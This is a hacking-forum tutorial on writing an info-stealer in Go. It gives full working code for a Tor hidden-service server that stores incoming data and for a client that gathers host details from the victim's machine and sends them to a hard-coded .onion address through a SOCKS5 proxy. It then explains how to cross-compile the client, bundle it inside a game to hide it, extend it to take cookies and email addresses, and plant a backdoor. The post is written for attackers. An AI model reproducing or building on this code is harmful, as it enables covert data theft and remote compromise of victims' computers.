Writing a stealer sending data to a server (located in the Tor network)

Hacker

Professional
Messages
1,043
Reaction score
844
Points
113
This article is a logical continuation of the last article I laid out, in which the .onion site was created and raised:
All programs in this article will be written in the Go programming language.

Now is the time to use our created site as a server for accepting requests and storing data. To organize our stealer properly, we need to create two programs.

The first program must run on the server side. Theoretically, it has already been created in the last article and it will only need to be supplemented so that it can process the requests we need and save them on the server.

The second program should run on the client side. It will already need to be written from scratch. And at this stage we will have two problems:

1. The size of the executable file under Windows is the following:
- x386 = 4.9MB.
- AMD64 = 5.7MB.

2. The program will need the tor package, the size of which is even more significant = 23MB.

A partial solution to the first problem might be to exclude some packages from the Go program and rewrite them in C.
(Fortunately, the Go programming language can easily contact the C program code)
In the end, if you write everything correctly, you will lose a couple of megabytes. This, of course, will not be enough to invisibly hide our file in some other file, but it will be suitable as a gluing with some game.

To solve the second problem, it is best to download the tor package directly on the client side. The size of the archived package tor = 5.1MB.

This archive can be easily downloaded from the official torproject
website : https: //www.torproject.org/dist/torbrowser / .....

Running tor services on Windows looks like this:

Code:
Code:
tor.exe --service install

The ways of how you will reduce the size of the executable file, how you will download the tor package and how you will connect it, I leave it to your choice.

Begin.

The first thing I do is just show the contents of the onion directory where the html / css files are located:
Code:
/www [
/onion [
-index.html
-404err.html
/css [
-style.css
]
]
...
]

File: index.html
Code:
<!DOCTYPE html>
<html>
<head>
<title>[ CryATor-group ]</title>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<h3>Generated by ZXONS</h3>
<p>hello, world</p>
</body>
</html>

File: 404err.html
Code:
<!DOCTYPE html>
<html>
<head>
<title>[ CryATor-group ]</title>
<meta charset="utf-8">
</head>
<body>
<style type="text/css" media="screen">
p {
color: red;
}
</style>
<h3>Generated by ZXONS</h3>
<p>ERROR 404</p>
</body>
</html>


File: style.css
Code:
p {
color: red;
}


The html / css files are optional in this case if our goal is to create a styler. If, in addition to the stealer, you also need to create a website, then it is quite possible to combine business with pleasure.

Next comes the server-side code. I split it into 4 compound files as follows, where addition is a package:
Code:
/www [
...
/addition [
-checkError.go
-newBlock.go
-writeFile.go
]
-main.go
]

CheckError.go File
Tasks:
- To detect errors on the server side. As soon as an error occurs, the server program will immediately stop executing. Errors, in this case, can occur only due to the lack of the necessary rights when creating files or directories.

File: checkError.go
Code:
package addition

import (
    "os"
    "fmt"
)

func CheckError(err error, code int) {
    if err != nil {
        fmt.Printf("[Error: '%v']\n", err)
        os.Exit(code)
    }
}

File newBlock.go
Tasks:
- Reading the DATA directory and detecting the last data block
- Creating a new data block

File: newBlock.go
Code:
package addition

import (
    "os"
    "strconv"
)

func NewBlock(dir string) (int, error) {
    files, err := readDir(dir)

    if err != nil {
        return -1, err
    }

    var max int
    for _, file := range files {
        if num, _ := strconv.Atoi(file);
            num > max {
                max = num
        }
    }

    return max + 1, nil
}

func readDir(dir string) ([]string, error){
    root, err := os.Open(dir)

    if err != nil {
        return []string{}, err
    }

    info, err := root.Readdir(-1)
    root.Close()

    if err != nil {
        return []string{}, err
    }

    var files []string
    for _, file := range info {
        files = append(files, file.Name())
    }

    return files, nil
}

File writeFile.go
Tasks:
- Creating a file and entering data into it.

File: writeFile.go
Code:
[CODE]package addition

import (
"os"
)

func WriteFile(name, content string) error {
file, err := os.Create(name)

if err != nil {
return err
}

file.WriteString(content)
file.Close()

return nil
}

The main.go file
Tasks:
- Creating the DATA directory
- Using the functions of the addition package
- Raising the server

File: main.go
Code:
package main

import (
"os"
"fmt"
"strconv"
"net/http"
"./addition"
)

const (
BUFF_SIZE = 512

HOST = "127.0.0.1"
PORT = ":80"

MAIN_DIR = "onion/"
DATA_DIR = "DATA/"
)

var new_block_Global int

func main() {
var err error

if _, err = os.Stat(DATA_DIR); os.IsNotExist(err) {
err = os.Mkdir(DATA_DIR, 0600)
addition.CheckError(err, 1)
}

new_block_Global, err = addition.NewBlock(DATA_DIR)
addition.CheckError(err, 2)

fmt.Println("Server is listening ...")

http.Handle("/", handleFileServer(http.Dir(MAIN_DIR)))
http.HandleFunc("/zxons", getRequest)

http.ListenAndServe(HOST + PORT, nil)
}

func getRequest(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
notFound(w, r)
return
}

var (
buffer []byte = make([]byte, BUFF_SIZE)
content string
length int
err error
)

for {
length, err = r.Body.Read(buffer)
content += string(buffer[:length])
if length == 0 || err != nil { break }
}

err = addition.WriteFile(DATA_DIR + strconv.Itoa(new_block_Global), content)
addition.CheckError(err, 3)

fmt.Printf("[Block: '%d' saved]\n", new_block_Global)
new_block_Global++
}

func handleFileServer(fs http.FileSystem) http.Handler {
return http.HandlerFunc( func(w http.ResponseWriter, r *http.Request) {
if _, err := fs.Open(r.URL.Path); os.IsNotExist(err) {
notFound(w, r)
return
}
http.FileServer(fs).ServeHTTP(w, r)
})
}

func notFound(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, MAIN_DIR + "404err.html")
}

All our files are ready to compile. Compile:
Code:
$ go build main.go

At the output, we get the executable file main, the size of which is 6.5 MB for OS = linux, ARCH = amd64. A lot of course, but not critical as with the client-side program.

Now all we have to do is start the torus services and the program we compiled:
Code:
$ sudo systemctl start tor.service
$ sudo ./main

Note that the program must be run as root user, since it is located in the / www directory and brings up the server on port 80.
Code:
Server is listening ...

As a result, the server program is running and waiting directly for the client part, which we will now analyze.

1. Before I show the code, it is worth noting that we should explicitly indicate the URL of our site in the tor network and it is imperative that this link leads to the request field. In my example, stbtrd7cmrsahu7y.onion/zxons.

2. Also, I chose JSON format (application / json) as data storage.

3. To be able to connect to the tor proxy, you should install a suitable package from the official Go language website:
Code:
go get golang.org/x/net/proxy

The request.go file
Tasks:
- Collecting information from the client
- Connecting to the tor network
- Sending data to the server through the tor network

File: request.go
Code:
package main

import (
"os"
"fmt"
"time"
"bytes"
"runtime"
"net/url"
"net/http"
"golang.org/x/net/proxy"
)

const (
TORS_PROXY   = "socks5://127.0.0.1:9050"
URL_REQUEST  = "http://stbtrd7cmrsahu7y.onion/zxons"
CONTENT_TYPE = "application/json"
)

func main() {
var data []byte = []byte(fmt.Sprintf(
`{
"NameOS":"%s",
"Arch":"%s",
"Hostname":"%s",
"NumCPU":"%d",
"CurrentDir":"%s"
}`,
runtime.GOOS,
runtime.GOARCH,
func() string { res, _ := os.Hostname(); return res }(),
runtime.NumCPU(),
func() string { res, _ := os.Getwd(); return res }(),
))

tbProxyURL, _ := url.Parse(TORS_PROXY)
tbDialer,   _ := proxy.FromURL(tbProxyURL, proxy.Direct)
tbTransport   := &http.Transport{Dial: tbDialer.Dial}

client := &http.Client{
Transport: tbTransport,
Timeout: time.Second * 5,
}

client.Post(
URL_REQUEST,
CONTENT_TYPE,
bytes.NewReader(data),
)
}

All we have left is to compile the request.go file. And this is where the interesting properties of Go come in, namely that it is a cross-platform and cross-compiled language.

Accordingly, it will not be difficult to compile the request.go file for both Windows and Linux.

An example compilation is as follows:
Code:
$ GOOS=windows GOARCH=386 go build request.go
$ GOOS=linux GOARCH=amd64 go build request.go

As a result, we will have two executable files: request.exe (for Windows) and request (for Linux).

The complete list of GOOS is as follows:
Code:
Linux           linux
MacOS X         darwin
Windows         windows
FreeBSD         freebsd
NetBSD          netbsd
OpenBSD         openbsd
DragonFly BSD   dragonfly
Plan 9          plan9
Native Client   nacl
Android         android

The complete GOARCH list is as follows:
Code:
x386            386
AMD64           amd64
AMD64 (32 ptr)  amd64p32
ARM             arm

And the final of the work done is as follows:
- The server is running and waiting for requests;
- The client has tor services connected;
- The client launches the request.exe program;

Now we check the DATA directory on the server.
At the first request to the server through the client program, the file '1' should appear with the following content:
File: 1
Code:
{
"NameOS":"windows",
"Arch":"386",
"Hostname":"server",
"NumCPU":"2",
"CurrentDir":"Z:\home\user"
}

In this case, the launch was performed from under wine in Linux OS. In the wine environment, I installed the tor networks using the command that I mentioned at the very beginning of the article. Further, from under wine, I launched the exe-file.

In exactly the same way, I can run the program from under the Linux OS directly, but running tor services will also be required for it to work.

File: 2
Code:
{
"NameOS":"linux",
"Arch":"amd64",
"Hostname":"server",
"NumCPU":"2",
"CurrentDir":"/home/user"
}

Server logs:
Code:
[Block: '1' saved]
[Block: '2' saved]

In my examples, the client sends only insignificant information similar to what OS the program was launched on, what hostname, how many cores and in what current directory this program was launched. But no one bothers you to improve request.go so that this program can collect cookies, search for e-mail addresses and whatever you want.

The ideal solution, in this case, would be to seize access to the victim's computer. One way to do this is to bring up a Tor network site directly on the victim's side. By pre-installing backdoor in the server program, with the help of which only you can send requests to your victim to obtain the necessary information from the server.

The client program, which runs on the victim's side, will generate and send a key to your server, which will help you gain access to the victim's backdoor server. And in order to use the backdoor, you will need to create a client program that runs on your side.

But this is all a departure from the topic of this article.
 
Top